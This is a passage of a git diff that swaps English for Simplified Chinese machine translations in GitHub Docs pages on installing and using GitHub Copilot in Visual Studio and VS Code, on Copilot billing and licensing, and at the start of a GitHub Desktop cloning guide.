Copilot +ms.openlocfilehash: 65384a5cafae1c739b52847d1a826c0138e91fd9 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193015' --- - {% data reusables.copilot.copilot-cta-button %} -## About {% data variables.product.prodname_copilot %} and Visual Studio +## 关于 {% data variables.product.prodname_copilot %} 和 Visual Studio {% data reusables.copilot.procedural-intro %} -If you use {% data variables.product.prodname_vs %}, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. This guide demonstrates how to use {% data variables.product.prodname_copilot %} within {% data variables.product.prodname_vs %} for Windows. +如果使用 {% data variables.product.prodname_vs %},可以直接在编辑器中查看并合并来自 {% data variables.product.prodname_copilot %} 的建议。 本指南演示如何在适用于 Windows 的 {% data variables.product.prodname_vs %} 中使用 {% data variables.product.prodname_copilot %}。 -## Prerequisites +## 先决条件 {% data reusables.copilot.subscription-prerequisite %} -- To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}, you must have {% data variables.product.prodname_vs %} 2022 17.2 or later installed. For more information, see the [Visual Studio IDE](https://visualstudio.microsoft.com/vs/) documentation. +- 若要在 {% data variables.product.prodname_vs %} 中使用 {% data variables.product.prodname_copilot %},必须安装 {% data variables.product.prodname_vs %} 2022 17.2 或更高版本。 有关详细信息,请参阅 [Visual Studio IDE](https://visualstudio.microsoft.com/vs/) 文档。 {% note %} -**Note**: {% data variables.product.prodname_copilot %} is not currently available for use with Visual Studio for Mac. +注意:{% data variables.product.prodname_copilot %} 当前不适用于 Visual Studio for Mac。 {% endnote %} -## Installing the {% data variables.product.prodname_vs %} extension +## 安装 {% data variables.product.prodname_vs %} 扩展 -To use {% data variables.product.prodname_copilot %}, you must first install the {% data variables.product.prodname_vs %} extension. -1. In the Visual Studio toolbar, click **Extensions**, then click **Manage Extensions**. - ![Screenshot of the Visual Studio toolbar](/assets/images/help/copilot/visual-studio-toolbar.png) -1. In the "Manage Extensions" window, click **Visual Studio Marketplace**, search for the {% data variables.product.prodname_copilot %} extension, then click **Download**. - ![Screenshot of GitHub Copilot extension for Visual Studio with the download button emphasized](/assets/images/help/copilot/install-copilot-extension-visual-studio.png) -1. Close the "Manage Extensions" window, then exit and relaunch {% data variables.product.prodname_vs %}. -1. Optionally, to check that {% data variables.product.prodname_copilot %} is installed and enabled, go back to **Manage Extensions**, click **Installed** to view your currently installed extensions, then click **{% data variables.product.prodname_copilot %}** to see status information. - ![Screenshot of installed extensions in Visual Studio with GitHub Copilot emphasized](/assets/images/help/copilot/installed-copilot-extension-visual-studio.png) -1. Open or create a new project in {% data variables.product.prodname_vs %}. -1. In the "Microsoft {% data variables.product.prodname_vs %}" dialog box, to copy your device activation code, click **OK**. - ![Screenshot of the Microsoft {% data variables.product.prodname_vs %} dialogue box](/assets/images/help/copilot/vs-auth-dialogue.png) -1. A device activation window will open in your browser. Paste the device code, then click **Continue**. +若要使用 {% data variables.product.prodname_copilot %},必须先安装 {% data variables.product.prodname_vs %} 扩展。 +1. 在 Visual Studio 工具栏中,单击“扩展”,然后单击“管理扩展”。 + ![Visual Studio 工具栏的屏幕截图](/assets/images/help/copilot/visual-studio-toolbar.png) +1. 在“管理扩展”窗口中,单击“Visual Studio Marketplace”,搜索 {% data variables.product.prodname_copilot %} 扩展,然后单击“下载”。 + ![Visual Studio GitHub Copilot 扩展的屏幕截图,其中突出显示了“下载”按钮](/assets/images/help/copilot/install-copilot-extension-visual-studio.png) +1. 关闭“管理扩展”窗口,然后退出并重新启动 {% data variables.product.prodname_vs %}。 +1. (可选)若要检查是否已安装并启用 {% data variables.product.prodname_copilot %},请返回到“管理扩展”,单击“已安装的扩展”以查看当前安装的扩展,然后单击“{% data variables.product.prodname_copilot %}”以查看状态信息。 + ![Visual Studio 中已安装的扩展的屏幕截图,其中突出显示 GitHub Copilot](/assets/images/help/copilot/installed-copilot-extension-visual-studio.png) +1. 在 {% data variables.product.prodname_vs %} 中打开或创建新项目。 +1. 在“Microsoft {% data variables.product.prodname_vs %}”对话框中,若要复制设备激活代码,请单击“确定”。 + ![“Microsoft {% data variables.product.prodname_vs %}”对话框的屏幕截图](/assets/images/help/copilot/vs-auth-dialogue.png) +1. 设备激活窗口将在浏览器中打开。 粘贴设备代码,然后单击“继续”。 - - To paste the code in Windows or Linux, press Ctrl+v. - - To paste the code in macOS, press command+v. -1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**. -1. After you approve the permissions, {% data variables.product.prodname_vs %} will show a confirmation. - ![Screenshot of {% data variables.product.prodname_vs %} permissions confirmation](/assets/images/help/copilot/vs-confirmation.png) + - 若要在 Windows 或 Linux 中粘贴代码,请按 Ctrl+v。 + - 若要在 macOS 中粘贴代码,请按 command+v。 +1. {% data variables.product.prodname_dotcom %} 将请求 {% data variables.product.prodname_copilot %} 所需的权限。 若要批准这些权限,请单击“授权 {% data variables.product.prodname_copilot %} 插件”。 +1. 批准权限后,{% data variables.product.prodname_vs %} 将显示确认。 + ![{% data variables.product.prodname_vs %} 权限确认的屏幕截图](/assets/images/help/copilot/vs-confirmation.png) -## Seeing your first suggestion +## 查看第一个建议 -{% data reusables.copilot.code-examples-limitations %} -{% data reusables.copilot.supported-languages %} The following samples are in C#, but other languages will work similarly. +{% data reusables.copilot.code-examples-limitations %} {% data reusables.copilot.supported-languages %} 以下示例使用的是 C#,但其他语言的工作方式类似。 {% data reusables.copilot.create-c-file %} -1. In the C# file, type the following function signature. {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text, as shown below. The exact suggestion may vary. +1. 在 C# 文件中,键入以下函数签名。 {% data variables.product.prodname_copilot %} 将自动以灰色文本建议整个函数正文,如下所示。 具体的建议可能会有所不同。 ```csharp{:copy} int CalculateDaysBetweenDates( ``` - ![Screenshot of a first suggestion Visual Studio Code](/assets/images/help/copilot/first-suggestion-visual-studio.png) -{% data reusables.copilot.accept-suggestion %} + ![第一个建议 Visual Studio Code 的屏幕截图](/assets/images/help/copilot/first-suggestion-visual-studio.png) {% data reusables.copilot.accept-suggestion %} -## Seeing alternative suggestions -{% data reusables.copilot.alternative-suggestions %} -{% data reusables.copilot.create-c-file %} -1. In the C# file, type the following function signature. {% data variables.product.prodname_copilot %} will show you a suggestion. +## 查看替代建议 +{% data reusables.copilot.alternative-suggestions %} {% data reusables.copilot.create-c-file %} +1. 在 C# 文件中,键入以下函数签名。 {% data variables.product.prodname_copilot %} 将向你显示建议。 ```csharp{:copy} int CalculateDaysBetweenDates( ``` -1. If alternative suggestions are available, you can see these alternatives by pressing Alt+] (or Alt+[). -1. Optionally, you can hover over the suggestion to see the {% data variables.product.prodname_copilot %} command palette for choosing suggestions. +1. 如果替代建议可用,可以通过按 Alt+](或 Alt+[)来查看这些替代项。 +1. 或者,可以将鼠标悬停在建议上方,查看 {% data variables.product.prodname_copilot %} 命令面板以选择建议。 {% data reusables.copilot.accept-or-reject-suggestion %} -## Generating code suggestions from comments +## 从注释生成代码建议 {% data reusables.copilot.generating-suggestions-from-comments %} {% data reusables.copilot.create-c-file %} -1. In the C# file, type the following comment. {% data variables.product.prodname_copilot %} will suggest an implementation of the function. +1. 在 C# 文件中,键入以下注释。 {% data variables.product.prodname_copilot %} 将建议函数的实现。 ```csharp{:copy} using System.Xml.Linq; @@ -93,6 +95,6 @@ To use {% data variables.product.prodname_copilot %}, you must first install the {% data reusables.copilot.enabling-or-disabling-vs %} -## Further reading +## 延伸阅读 - [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) diff --git a/translations/zh-CN/content/copilot/overview-of-github-copilot/about-github-copilot.md b/translations/zh-CN/content/copilot/overview-of-github-copilot/about-github-copilot.md index 4bfef6012c..10a1c6ec95 100644 --- a/translations/zh-CN/content/copilot/overview-of-github-copilot/about-github-copilot.md +++ b/translations/zh-CN/content/copilot/overview-of-github-copilot/about-github-copilot.md @@ -1,42 +1,47 @@ --- -title: About GitHub Copilot -intro: '{% data variables.product.prodname_copilot %} can help you code by offering autocomplete-style suggestions. You can learn how {% data variables.product.prodname_copilot %} works, and what to consider while using {% data variables.product.prodname_copilot %}.' +title: 关于 GitHub Copilot +intro: '{% data variables.product.prodname_copilot %} 可以通过提供自动完成样式的建议来帮助你编写代码。 可以了解使用 {% data variables.product.prodname_copilot %} 时 {% data variables.product.prodname_copilot %} 的工作原理以及要考虑的事项。' versions: feature: copilot topics: - Copilot shortTitle: About GitHub Copilot +ms.openlocfilehash: 4ff4c73e61c10c2c3f75d9581bf426266122550b +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192776' --- +## 关于 {% data variables.product.prodname_copilot %} -## About {% data variables.product.prodname_copilot %} +{% data variables.product.prodname_copilot %} 是一个 AI 配对程序员,可在编写代码时提供自动完成样式的建议。 可以从 {% data variables.product.prodname_copilot %} 接收建议,方法是开始编写要使用的代码,或者编写描述代码要执行的操作的自然语言注释。 {% data variables.product.prodname_copilot %} 会分析你正在编辑的文件以及相关文件中的上下文,并在文本编辑器中提供建议。 {% data variables.product.prodname_copilot %} 由 OpenAI Codex 提供支持,OpenAI Codex 是一个由 OpenAI 创建的新 AI 系统。 -{% data variables.product.prodname_copilot %} is an AI pair programmer that offers autocomplete-style suggestions as you code. You can receive suggestions from {% data variables.product.prodname_copilot %} either by starting to write the code you want to use, or by writing a natural language comment describing what you want the code to do. {% data variables.product.prodname_copilot %} analyzes the context in the file you are editing, as well as related files, and offers suggestions from within your text editor. {% data variables.product.prodname_copilot %} is powered by OpenAI Codex, a new AI system created by OpenAI. +针对公共存储库中出现的所有语言对 {% data variables.product.prodname_copilot %} 进行了培训。 对于每种语言,收到的建议质量可能取决于该语言训练数据的数量和多样性。 例如,JavaScript 在公共存储库中表现良好,并且是 {% data variables.product.prodname_copilot %} 最受支持的语言之一。 在公共存储库中具有较少代表性的语言可能会产生较少或较不可靠的建议。 -{% data variables.product.prodname_copilot %} is trained on all languages that appear in public repositories. For each language, the quality of suggestions you receive may depend on the volume and diversity of training data for that language. For example, JavaScript is well-represented in public repositories and is one of {% data variables.product.prodname_copilot %}'s best supported languages. Languages with less representation in public repositories may produce fewer or less robust suggestions. +{% data variables.product.prodname_copilot %} 在 Visual Studio Code、Visual Studio、Neovim 和 IDE 的 JetBrains 套件中作为扩展提供。 有关详细信息,请参阅“[{% data variables.product.prodname_copilot %} 入门指南](/copilot/getting-started-with-github-copilot)”。 -{% data variables.product.prodname_copilot %} is available as an extension in Visual Studio Code, Visual Studio, Neovim and the JetBrains suite of IDEs. For more information, see "[Getting started with {% data variables.product.prodname_copilot %}](/copilot/getting-started-with-github-copilot)." +## 使用 {% data variables.product.prodname_copilot %} -## Using {% data variables.product.prodname_copilot %} +可以看到 {% data variables.product.prodname_copilot %} 的实际示例。 有关详细信息,请参阅 [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) 网站。 -You can see real-world examples of {% data variables.product.prodname_copilot %} in action. For more information, see the [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) website. +{% data variables.product.prodname_copilot %} 提供的建议来自 OpenAI 使用数十亿行开放源代码构建的模型。 因此,{% data variables.product.prodname_copilot %} 的训练集可能包含不安全的编码模式、bug 或对过时 API 或习惯用语的引用。 当 {% data variables.product.prodname_copilot %} 基于此训练数据生成建议时,这些建议也可能包含不需要的模式。 -{% data variables.product.prodname_copilot %} offers suggestions from a model that OpenAI built from billions of lines of open source code. As a result, the training set for {% data variables.product.prodname_copilot %} may contain insecure coding patterns, bugs, or references to outdated APIs or idioms. When {% data variables.product.prodname_copilot %} produces suggestions based on this training data, those suggestions may also contain undesirable patterns. +你负责确保代码的安全性和质量。 建议你在使用由 {% data variables.product.prodname_copilot %} 生成的代码时采取与使用任何不是你自己编写的代码时相同的预防措施。 这些预防措施包括严格的测试、IP 扫描和安全漏洞跟踪。 {% data variables.product.company_short %} 提供了许多功能来帮助你监视和改进代码质量,例如 {% data variables.product.prodname_actions %}、{% data variables.product.prodname_dependabot %}、{% data variables.product.prodname_codeql %} 和 {% data variables.product.prodname_code_scanning %}。 所有这些功能都可以在公共存储库中免费使用。 有关详细信息,请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)”和“[{% data variables.product.company_short %} 安全功能](/code-security/getting-started/github-security-features)”。 -You are responsible for ensuring the security and quality of your code. We recommend you take the same precautions when using code generated by {% data variables.product.prodname_copilot %} that you would when using any code you didn't write yourself. These precautions include rigorous testing, IP scanning, and tracking for security vulnerabilities. {% data variables.product.company_short %} provides a number of features to help you monitor and improve code quality, such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_codeql %} and {% data variables.product.prodname_code_scanning %}. All these features are free to use in public repositories. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)" and "[{% data variables.product.company_short %} security features](/code-security/getting-started/github-security-features)." +{% data variables.product.prodname_copilot %} 使用筛选器来阻止在提示中出现冒犯性词语,并避免在敏感上下文中生成建议。 我们致力于不断改进筛选系统,以便更智能地检测和删除 {% data variables.product.prodname_copilot %} 生成的冒犯性建议,包括有偏见的、歧视性的或滥用的输出。 如果有看到 {% data variables.product.prodname_copilot %} 生成的冒犯性建议,请直接将建议报告给 copilot-safety@github.com,以便我们改进保护措施。 -{% data variables.product.prodname_copilot %} uses filters to block offensive words in the prompts and avoid producing suggestions in sensitive contexts. We are committed to constantly improving the filter system to more intelligently detect and remove offensive suggestions generated by {% data variables.product.prodname_copilot %}, including biased, discriminatory, or abusive outputs. If you see an offensive suggestion generated by {% data variables.product.prodname_copilot %}, please report the suggestion directly to copilot-safety@github.com so that we can improve our safeguards. +## 关于 {% data variables.product.prodname_copilot %} 的计费 -## About billing for {% data variables.product.prodname_copilot %} +{% data variables.product.prodname_copilot %} 是一项付费功能,需要按月或按年订阅。 {% data variables.product.prodname_copilot %} 订阅可以通过具有 {% data variables.product.prodname_copilot_for_individuals %} 的 {% data variables.product.prodname_dotcom_the_website %} 上的个人帐户进行支付和管理,也可以通过具有 {% data variables.product.prodname_copilot_for_business %} 的 {% data variables.product.prodname_ghe_cloud %} 上的企业帐户进行集中支付和管理。 -{% data variables.product.prodname_copilot %} is a paid feature, requiring a monthly or yearly subscription. {% data variables.product.prodname_copilot %} subscriptions can be paid for and managed through a personal account on {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_copilot_for_individuals %}, or paid for and managed centrally through an enterprise account on {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_copilot_for_business %}. +{% data variables.product.prodname_dotcom %} 上热门的开放源代码项目的经过验证的学生、教师和维护人员有资格免费使用 {% data variables.product.prodname_copilot_individuals_short %}。 如果满足免费订阅 {% data variables.product.prodname_copilot_individuals_short %} 的条件,则在访问 {% data variables.product.prodname_copilot %} 订阅页面时会自动收到通知。 如果不满足免费订阅 {% data variables.product.prodname_copilot_individuals_short %} 的条件,你将获得 60 天的免费试用期,之后需要付费订阅才能继续使用。 {% data variables.product.prodname_copilot_for_business %} 不包括免费试用版。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_copilot %} 的计费](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)”。 -Verified students, teachers, and maintainers of popular open source projects on {% data variables.product.prodname_dotcom %} are eligible to use {% data variables.product.prodname_copilot_individuals_short %} for free. If you meet the criteria for a free {% data variables.product.prodname_copilot_individuals_short %} subscription, you will be automatically notified when you visit the {% data variables.product.prodname_copilot %} subscription page. If you do not meet the criteria for a free {% data variables.product.prodname_copilot_individuals_short %} subscription, you will be offered a 60-day free trial, after which a paid subscription is required for continued use. {% data variables.product.prodname_copilot_for_business %} does not include a free trial. For more information, see "[About billing for {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)." +## 关于 JetBrains IDE 中 {% data variables.product.prodname_copilot %} 插件的许可证 -## About the license for the {% data variables.product.prodname_copilot %} plugin in JetBrains IDEs +{% data variables.product.prodname_dotcom %}, Inc. 是 JetBrains 插件的许可方。 此插件的最终用户许可协议为 [{% data variables.product.prodname_dotcom %} 附加产品和功能条款](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot),且此插件的使用受这些条款的约束。 JetBrains 对插件或此类协议不承担任何责任或义务。 使用插件即代表你同意上述条款。 -{% data variables.product.prodname_dotcom %}, Inc. is the licensor of the JetBrains plugin. The end user license agreement for this plugin is the [{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) and use of this plugin is subject to those terms. JetBrains has no responsibility or liability in connection with the plugin or such agreement. By using the plugin, you agree to the foregoing terms. +## 延伸阅读 -## Further reading - -- "[{% data variables.product.company_short %} Terms for Additional Products and Features](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot)"{% ifversion ghec %} -- "[{% data variables.product.prodname_copilot_for_business %} Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-copilot-for-business-privacy-statement)"{% endif %} +- “[{% data variables.product.company_short %} 附加产品和功能条款](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot)”{% ifversion ghec %} +- “[{% data variables.product.prodname_copilot_for_business %} 隐私声明](/free-pro-team@latest/site-policy/privacy-policies/github-copilot-for-business-privacy-statement)”{% endif %} diff --git a/translations/zh-CN/content/copilot/quickstart.md b/translations/zh-CN/content/copilot/quickstart.md index c4760f5bb2..7a193bb159 100644 --- a/translations/zh-CN/content/copilot/quickstart.md +++ b/translations/zh-CN/content/copilot/quickstart.md @@ -1,6 +1,6 @@ --- -title: Quickstart for GitHub Copilot -intro: '{% data variables.product.prodname_copilot %} can help you work, by offering inline suggestions as you code.' +title: GitHub Copilot 快速入门 +intro: '{% data variables.product.prodname_copilot %} 通过在你编写代码时提供内联建议,为你的工作提供帮助。' product: '{% data reusables.gated-features.copilot %}' allowTitleToDifferFromFilename: true versions: @@ -8,68 +8,70 @@ versions: shortTitle: Quickstart topics: - Copilot +ms.openlocfilehash: d2131a506990a959f803b13353b794a9dd347174 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193227' --- +## 简介 -## Introduction +{% data variables.product.prodname_copilot %} 是 AI 结对程序员。 可以使用 {% data variables.product.prodname_copilot %} 在编辑器中获取整行或整个函数的建议。 -{% data variables.product.prodname_copilot %} is an AI pair programmer. You can use {% data variables.product.prodname_copilot %} to get suggestions for whole lines or entire functions right inside your editor. +本指南将介绍如何通过个人帐户注册 {% data variables.product.prodname_copilot %},在 {% data variables.product.prodname_vscode %} 中安装 {% data variables.product.prodname_copilot %} 扩展,并获得第一个建议。 有关 {% data variables.product.prodname_copilot %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)”。 有关如何在各种环境中使用 {% data variables.product.prodname_copilot %} 的更深入信息,请参阅“[入门](/copilot/getting-started-with-github-copilot)”。 -This guide will show you how to sign up for {% data variables.product.prodname_copilot %} through your personal account, install the {% data variables.product.prodname_copilot %} extension in {% data variables.product.prodname_vscode %}, and get your first suggestion. For more information on {% data variables.product.prodname_copilot %}, see "[About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)." For more in-depth information on how to use {% data variables.product.prodname_copilot %} in a variety of environments, see "[Getting Started](/copilot/getting-started-with-github-copilot)." - -## Prerequisites +## 先决条件 {% data reusables.copilot.copilot-prerequisites %} -- To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, you must have {% data variables.product.prodname_vscode %} installed. For more information, see the [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) documentation. +- 若要在 {% data variables.product.prodname_vscode %} 中使用 {% data variables.product.prodname_copilot %},必须安装 {% data variables.product.prodname_vscode %}。 有关详细信息,请参阅 [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) 文档。 -## Signing up for {% data variables.product.prodname_copilot %} +## 注册 {% data variables.product.prodname_copilot %} -Before you can start using {% data variables.product.prodname_copilot %}, you will need to set up a free trial or subscription for your personal account. +在开始使用 {% data variables.product.prodname_copilot %} 之前,需要为个人帐户设置免费试用或订阅。 {% note %} -**Note:** If you are a member of an organization owned by a {% data variables.product.prodname_ghe_cloud %} account with a {% data variables.product.prodname_copilot %} subscription, and you have been assigned a {% data variables.product.prodname_copilot %} seat by your organization, you can proceed to "[Installing the {% data variables.product.prodname_copilot %} extension for {% data variables.product.prodname_vscode %}](/copilot/quickstart#installing-the-github-copilot-extension-for-visual-studio-code)." +注意:如果你是 {% data variables.product.prodname_ghe_cloud %} 帐户拥有的组织的成员,并且拥有 {% data variables.product.prodname_copilot %} 订阅,而且组织已为你分配了 {% data variables.product.prodname_copilot %} 席位,则可以继续“[为 {% data variables.product.prodname_vscode %} 安装 {% data variables.product.prodname_copilot %} 扩展](/copilot/quickstart#installing-the-github-copilot-extension-for-visual-studio-code)”。 {% endnote %} {% data reusables.copilot.signup-procedure %} -## Installing the {% data variables.product.prodname_copilot %} extension for {% data variables.product.prodname_vscode %} +## 为 {% data variables.product.prodname_vscode %} 安装 {% data variables.product.prodname_copilot %} 扩展 -To use {% data variables.product.prodname_copilot %}, you must first install the {% data variables.product.prodname_vscode %} extension. +若要使用 {% data variables.product.prodname_copilot %},必须先安装 {% data variables.product.prodname_vscode %} 扩展。 -1. In the {% data variables.product.prodname_vscode %} Marketplace, go to the [{% data variables.product.prodname_copilot %} extension](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot) page and click **Install**. - ![Install {% data variables.product.prodname_copilot %} extension {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/install-copilot-extension-visual-studio-code.png) -1. A popup will appear, asking to open {% data variables.product.prodname_vscode %}. Click **Open {% data variables.product.prodname_vscode %}**. -1. In the "Extension: {% data variables.product.prodname_copilot %}" tab in {% data variables.product.prodname_vscode %}, click **Install**. - ![Install button in {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/in-visual-studio-code-install-button.png) -1. If you have not previously authorized {% data variables.product.prodname_vscode %} in your {% data variables.product.prodname_dotcom %} account, you will be prompted to sign in to {% data variables.product.prodname_dotcom %} in {% data variables.product.prodname_vscode %}. - - If you have previously authorized {% data variables.product.prodname_vscode %} in your {% data variables.product.prodname_dotcom %} account, {% data variables.product.prodname_copilot %} will be automatically authorized. - ![Screen shot of {% data variables.product.prodname_vscode %} authorization screen](/assets/images/help/copilot/vsc-copilot-authorize.png) -1. In your browser, {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_vscode %}**. -1. In {% data variables.product.prodname_vscode %}, in the "{% data variables.product.prodname_vscode %}" dialogue box, to confirm the authentication, click **Open**. +1. 在 {% data variables.product.prodname_vscode %} 市场中,转到 [{% data variables.product.prodname_copilot %} 扩展](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot)页,然后单击“安装”。 + ![安装 {% data variables.product.prodname_copilot %} 扩展 {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/install-copilot-extension-visual-studio-code.png) +1. 此时会显示一个弹出窗口,要求打开 {% data variables.product.prodname_vscode %}。 单击“打开 {% data variables.product.prodname_vscode %}”。 +1. 在 {% data variables.product.prodname_vscode %} 的“扩展: {% data variables.product.prodname_copilot %}”选项卡中,单击“安装”。 + ![{% data variables.product.prodname_vscode %} 中的“安装”按钮](/assets/images/help/copilot/in-visual-studio-code-install-button.png) +1. 如果以前未在 {% data variables.product.prodname_dotcom %} 帐户中授权 {% data variables.product.prodname_vscode %},系统会提示你在 {% data variables.product.prodname_vscode %} 中登录到 {% data variables.product.prodname_dotcom %}。 + - 如果以前已在 {% data variables.product.prodname_dotcom %} 帐户中授权 {% data variables.product.prodname_vscode %},系统将会自动授权 {% data variables.product.prodname_copilot %}。 + ![{% data variables.product.prodname_vscode %} 授权屏幕的屏幕截图](/assets/images/help/copilot/vsc-copilot-authorize.png) +1. 在浏览器中,{% data variables.product.prodname_dotcom %} 将请求 {% data variables.product.prodname_copilot %} 所需的权限。 若要批准这些权限,请单击“授权 {% data variables.product.prodname_vscode %}”。 +1. 在 {% data variables.product.prodname_vscode %} 的“{% data variables.product.prodname_vscode %}”对话框中,若要确认身份验证,请单击“打开”。 -## Getting your first suggestion +## 获得第一个建议 {% data reusables.copilot.code-examples-limitations %} -{% data reusables.copilot.supported-languages %} The following samples are in JavaScript, but other languages will work similarly. +{% data reusables.copilot.supported-languages %} 以下示例使用的是 JavaScript,但其他语言的工作方式类似。 -1. Open {% data variables.product.prodname_vscode %}. -{% data reusables.copilot.create-js-file %} -{% data reusables.copilot.type-function-header %} - {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text, as shown below. The exact suggestion may vary. - ![First suggestion {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/first-suggestion-visual-studio-code.png) -{% data reusables.copilot.accept-suggestion %} +1. 打开 {% data variables.product.prodname_vscode %}。 +{% data reusables.copilot.create-js-file %} {% data reusables.copilot.type-function-header %} {% data variables.product.prodname_copilot %} 将自动以灰色文本建议整个函数正文,如下所示。 具体的建议可能会有所不同。 +![第一个建议 {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/first-suggestion-visual-studio-code.png) {% data reusables.copilot.accept-suggestion %} -## Next Steps +## 后续步骤 -You successfully installed {% data variables.product.prodname_copilot %} and received your first suggestion, but that's just the beginning! Here are some helpful resources for taking your next steps with {% data variables.product.prodname_copilot %}. +你已成功安装 {% data variables.product.prodname_copilot %} 并收到了你的第一个建议,但这只是开始! 以下是一些有用的资源,可帮助你对 {% data variables.product.prodname_copilot %} 执行后续操作。 -- [Getting Started](/copilot/getting-started-with-github-copilot): You've learned how to get your first suggestion in {% data variables.product.prodname_vscode %}. These guides show you how to set up and navigate the various functions of {% data variables.product.prodname_copilot %} across all of the supported environments. -- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/): See practical examples of how {% data variables.product.prodname_copilot %} can help you work. -- [Configuring {% data variables.product.prodname_copilot %}](/copilot/configuring-github-copilot): These guides provide details on how to configure {% data variables.product.prodname_copilot %} to your personal preferences. +- [入门](/copilot/getting-started-with-github-copilot):你已了解如何在 {% data variables.product.prodname_vscode %} 中获得你的第一个建议。 这些指南介绍了如何在所有受支持的环境中设置和导航 {% data variables.product.prodname_copilot %} 的各种功能。 +- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/):查看 {% data variables.product.prodname_copilot %} 如何帮助你工作的实用示例。 +- [配置 {% data variables.product.prodname_copilot %}](/copilot/configuring-github-copilot):这些指南提供了有关如何将 {% data variables.product.prodname_copilot %} 配置为个人首选项的详细信息。 -## Further reading +## 延伸阅读 -- [About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot) +- [关于 {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot) diff --git a/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md index a73f507945..4b799550c2 100644 --- a/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md +++ b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md @@ -1,53 +1,57 @@ --- -title: Cloning a repository from GitHub to GitHub Desktop -intro: 'You can use {% data variables.product.prodname_dotcom %} to clone remote repositories to {% data variables.product.prodname_desktop %}.' +title: 将仓库从 GitHub 克隆到 GitHub Desktop +intro: '您可以使用 {% data variables.product.prodname_dotcom %} 将远程仓库克隆到 {% data variables.product.prodname_desktop %}。' redirect_from: - /desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop - /desktop/contributing-and-collaborating-using-github-desktop/cloning-a-repository-from-github-to-github-desktop versions: fpt: '*' shortTitle: Clone a GitHub repo +ms.openlocfilehash: ba4ddcc8c3d95454ab06cac0293162e2fe01fe32 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145099284' --- {% tip %} -**Tip:** You also can use {% data variables.product.prodname_desktop %} to clone repositories that exist on {% data variables.product.prodname_dotcom %}. For more information, see "[Cloning a repository from {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)." +提示:也可使用 {% data variables.product.prodname_desktop %} 克隆 {% data variables.product.prodname_dotcom %} 上的存储库。 有关详细信息,请参阅“[从 {% data variables.product.prodname_desktop %} 克隆存储库](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)”。 {% endtip %} {% mac %} -1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_desktop %} before you start to clone. -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.open-with-github-desktop %} -5. Click **Choose...** and, using the Finder window, navigate to a local path where you want to clone the repository. -![The choose button on the URL 